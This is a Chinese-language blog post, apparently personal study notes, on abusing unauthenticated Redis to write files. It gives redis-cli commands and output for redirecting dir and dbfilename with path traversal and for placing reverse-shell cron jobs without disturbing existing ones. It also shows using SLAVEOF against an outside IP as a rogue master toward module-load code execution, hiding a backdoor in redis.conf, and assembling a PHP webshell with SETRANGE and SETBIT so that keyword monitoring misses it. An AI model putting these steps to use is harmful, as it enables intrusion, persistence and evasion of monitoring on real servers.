redis攻擊篇-redis寫文件

  個人學習筆記1:

  主題:redis寫文件:

  大量知識參考:http://redisdoc.com/

  查看redis所有配置選項

config get *

  

127.0.0.1:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "unixsocket"
  8) ""
  9) "logfile"
 10) ""
 11) "pidfile"
 12) ""
 13) "slave-announce-ip"
 14) ""
 15) "maxmemory"
 16) "0"
 17) "maxmemory-samples"
 18) "5"
 19) "timeout"
 20) "0"
 21) "auto-aof-rewrite-percentage"
 22) "100"
 23) "auto-aof-rewrite-min-size"
 24) "67108864"
 25) "hash-max-ziplist-entries"
 26) "512"
 27) "hash-max-ziplist-value"
 28) "64"
 29) "list-max-ziplist-size"
 30) "-2"
 31) "list-compress-depth"
 32) "0"
 33) "set-max-intset-entries"
 34) "512"
 35) "zset-max-ziplist-entries"
 36) "128"
 37) "zset-max-ziplist-value"
 38) "64"
 39) "hll-sparse-max-bytes"
 40) "3000"
 41) "lua-time-limit"
 42) "5000"
 43) "slowlog-log-slower-than"
 44) "10000"
 45) "latency-monitor-threshold"
 46) "0"
 47) "slowlog-max-len"
 48) "128"
 49) "port"
 50) "6379"
 51) "tcp-backlog"
 52) "511"
 53) "databases"
 54) "16"
 55) "repl-ping-slave-period"
 56) "10"
 57) "repl-timeout"
 58) "60"
 59) "repl-backlog-size"
 60) "1048576"
 61) "repl-backlog-ttl"
 62) "3600"
 63) "maxclients"
 64) "10000"
 65) "watchdog-period"
 66) "0"
 67) "slave-priority"
 68) "100"
 69) "slave-announce-port"
 70) "0"
 71) "min-slaves-to-write"
 72) "0"
 73) "min-slaves-max-lag"
 74) "10"
 75) "hz"
 76) "10"
 77) "cluster-node-timeout"
 78) "15000"
 79) "cluster-migration-barrier"
 80) "1"
 81) "cluster-slave-validity-factor"
 82) "10"
 83) "repl-diskless-sync-delay"
 84) "5"
 85) "tcp-keepalive"
 86) "300"
 87) "cluster-require-full-coverage"
 88) "yes"
 89) "no-appendfsync-on-rewrite"
 90) "no"
 91) "slave-serve-stale-data"
 92) "yes"
 93) "slave-read-only"
 94) "yes"
 95) "stop-writes-on-bgsave-error"
 96) "yes"
 97) "daemonize"
 98) "no"
 99) "rdbcompression"
100) "yes"
101) "rdbchecksum"
102) "yes"
103) "activerehashing"
104) "yes"
105) "protected-mode"
106) "yes"
107) "repl-disable-tcp-nodelay"
108) "no"
109) "repl-diskless-sync"
110) "no"
111) "aof-rewrite-incremental-fsync"
112) "yes"
113) "aof-load-truncated"
114) "yes"
115) "maxmemory-policy"
116) "noeviction"
117) "loglevel"
118) "notice"
119) "supervised"
120) "no"
121) "appendfsync"
122) "everysec"
123) "syslog-facility"
124) "local0"
125) "appendonly"
126) "no"
127) "dir"
128) "/Users/qixin01/Downloads/redis-3.2.9/src"
129) "save"
130) "3600 1 300 100 60 10000"
131) "client-output-buffer-limit"
132) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
133) "unixsocketperm"
134) "0"
135) "slaveof"
136) ""
137) "notify-keyspace-events"
138) ""
139) "bind"
140) ""

  

  這邊查看一共發現有140/2項

  redis配置選項詳解:

  https://www.cnblogs.com/AlanLee/p/5924783.html

  redis寫文件注意點:

  常規的:寫計劃任務,寫ssh公鑰

  發現依賴了選項1和選項127,我們涉及到寫文件離不開dir和dbfilename:

  常規的不想提了,如ssh公鑰和寫計劃任務

  說點小技巧:

  (1)關於dir選項:

  dir聲明目錄支持../跳目錄:

  

127.0.0.1:6379> CONFIG SET dir /Users/**/Desktop/log4jScan/../
OK
127.0.0.1:6379> CONFIG SET dbfilename redis_test2
OK
127.0.0.1:6379> set payload "hello"
OK
127.0.0.1:6379> save
OK

 

  

 

 

   

  查看文件:

  

 

 

 

  

  寫文件發現,查看文件的時候:

  發現有個前綴標識符:redis-bits?@?ctime,因爲官方說明save,默認保存的是rdb文件,redis-bits?@?ctime就是rdb標識符,實戰可以把它看成髒數據

    

  

  (2)不要輕易嘗試計劃任務寫bash反彈:

  計劃任務bash反彈是存在安全風險的

  如下圖所示:

  

 

 

   

  如果嘗試以這種方法寫bash反彈,會導致覆蓋原來有的crontab計劃任務,大家可以本地測試下就知道了

  極其不推薦直接寫到/var/spool/cron,一旦運維在crontab中配置了一些腳本啓動,盲目的覆蓋,會對業務產生極大的破壞

  正確的做法是:選擇一個開發不常用的計劃任務:

  以centos7爲例子:

  

 

 

   

  對應的含義如下:每天/每日/每小時/每月/每週

  可以寫文件到/etc/cron.hourly/

  可以覆蓋0anacron文件 or 創建一個可執行的sh文件

  覆蓋0anacron,正常情況下,沒人會在這裏寫計劃任務,可以覆蓋它:

  

 

 

   創建可執行sh文件:如下所示:

  

 

 

   這樣就不會覆蓋文件,比較保險

  

  (3)redis 4.x/5.x ,redis 3.x不受影響 主從複製shell 選項(135) slaveof

  主從複製優點:外部加載模塊,可以落地無損文件,而不會有所謂的”髒數據”

  redis module load是新特性,redis 3.x不存在

  主從複製儘量保持redis版本一致:

  什麼是主從複製?

主從複製,是指將一臺Redis服務器的數據,複製到其他的Redis服務器。前者稱爲主節點(master),後者稱爲從節點(slave);數據的複製是單向的,只能由主節點到從節點。
redis的持久化使得機器即使重啓數據也不會丟失,因爲redis服務器重啓後會把硬盤上的文件重新恢復到內存中,但是如果硬盤的數據被刪除的話數據就無法恢復了,如果通過主從複製就能解決這個問題,主redis的數據和從redis上的數據保持實時同步,當主redis寫入數據是就會通過主從複製複製到其它從redis。

  利用攻擊:

  

127.0.0.1:6379> SLAVEOF 119.45.227.86 6379
127.0.0.1:6379> CONFIG GET slaveof
1) "slaveof"
2) "119.45.227.86 6379"
127.0.0.1:6379> get b
"123"
127.0.0.1:6379>

  

 

 

  同步給119.45.227.86:6379,保證6379開啓

  

119.45.227.86:6379 客戶端配置:
127.0.0.1:6379> CONFIG SET protected-mode no
OK

  遠程在119.45.227.86:6379上操作:

  

127.0.0.1:6379> CONFIG SET protected-mode no
OK
127.0.0.1:6379> set ddd 123
OK
127.0.0.1:6379>

  

 

 

   本地127.0.0.1:6379客戶端查看是否同步成功:

  

127.0.0.1:6379> get b
"123"
127.0.0.1:6379> get ddd
"123"
127.0.0.1:6379> get ddd
"123"

  

 

 

   

  利用rce:https://paper.seebug.org/975/

  linux就是加載so模塊

  windows就是加載dll模塊

  (4)還可以寫文件到哪裏?

  除了ssh公鑰/計劃任務/網站絕對路徑

  1.覆蓋寫redis.conf中的配置選項,在管理員下次重啓的時候生效,當作隱藏後門文件

  .......

 

  redis 隱蔽寫文件bypass 敏感詞監控研究:

  需求如下:

  需求:替換a爲b

  方法(1)redis setrange:

  

 

  

  

127.0.0.1:6379> set name a
OK
127.0.0.1:6379> get name
"a"
127.0.0.1:6379> SETRANGE name 0 b
(integer) 1
127.0.0.1:6379> get name
"b"

  redis寫shell 敏感/特殊詞監控 bypass:

  

127.0.0.1:6379> set shell "<?> phpinfx();?>"
OK
127.0.0.1:6379> SETRANGE shell 2 "php p"
(integer) 16
127.0.0.1:6379> get shell
"<?php pinfx();?>"
127.0.0.1:6379> SETRANGE shell 6 "phpinfo();"
(integer) 16
127.0.0.1:6379> get shell
"<?php phpinfo();"
127.0.0.1:6379> SETRANGE shell 15 ";?>"
(integer) 18
127.0.0.1:6379> get shell
"<?php phpinfo();?>"
127.0.0.1:6379>

 

  

  這種是比較簡單的,但是不夠隱蔽,使用redis自帶的語句監控MOITIOR命令還是可以明顯很看出來:

  monitor命令解釋:實時打印出 Redis 服務器接收到的命令,調試用

  

 

 

 

  

 

  

  

  更隱蔽的替換方法:

  方法2:redis setbit命令:

  先從修改a爲b開始:

  setbit的使用比setrange複雜的多,先了解前置知識:

  ascii碼錶:

  http://c.biancheng.net/c/ascii/

  想要把a替換成b:

  怎麼做?

  查詢ascii碼錶,尋找a和b的對應的ascii 十進制:

  a=ascii 97

  b=ascii 98

   

 

 

 

  

  十進制轉換二進制:https://tool.lu/hexconvert/

  ascii 97=01100001 = a

  ascii 98=01100010 = b

  如果想把a修改成b,對比發現兩個值之間只有第六個位置和第七個位置不一樣,所以我們只要修改第六個位置的0改成1,把第七個位置的1改成0,初始值鍵從0開始:

   

127.0.0.1:6379> set name a
OK
127.0.0.1:6379> SETBIT name 6 1
(integer) 0
127.0.0.1:6379> SETBIT name 7 0
(integer) 1
127.0.0.1:6379> get name
"b"
127.0.0.1:6379>

 

  

 

 

  

  這樣修改內容,就比方法1更隱蔽

  如果是是多個字符串,怎麼修改其中某個值?

  例子如下:

    

 

    

    

修改tett爲test:

怎麼做?
步驟如下:

(1)tett依次轉換成ascii碼錶

t=116

e=101

t=116

t=116

(2)test依次抓換成ascii碼錶

t=116

e=101

s=115

t=116

(3)tett ascii碼 十進制依次轉換成2進制:

t=116=01110100

e=101=01100101

t=116=01110100

t=116=01110100

(4)test ascii碼 十進制依次轉換成2進制:

t=116=01110100

e=101=01100101

s=115=01110011

t=116=01110100

最後對比(3)和(4)即可:

合併:

(3):01110100011001010111010001110100

(4):01110100011001010111001101110100

目前是(3)就是tett,變成test:

對比從0位置開始數:

  

 

 

 

   

127.0.0.1:6379> set name "tett"
OK
127.0.0.1:6379> SETBIT name 21 0
(integer) 1
127.0.0.1:6379> SETBIT name 22 1
(integer) 0
127.0.0.1:6379> SETBIT name 23 1
(integer) 0
127.0.0.1:6379> get name
"test"
127.0.0.1:6379>

  

 

 

 

  查看語句監控:

   

 

 

   

  隱蔽性很強,不能直接看到關鍵字

 

  

參考資料:

(1)https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df

(2)http://redisdoc.com/

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章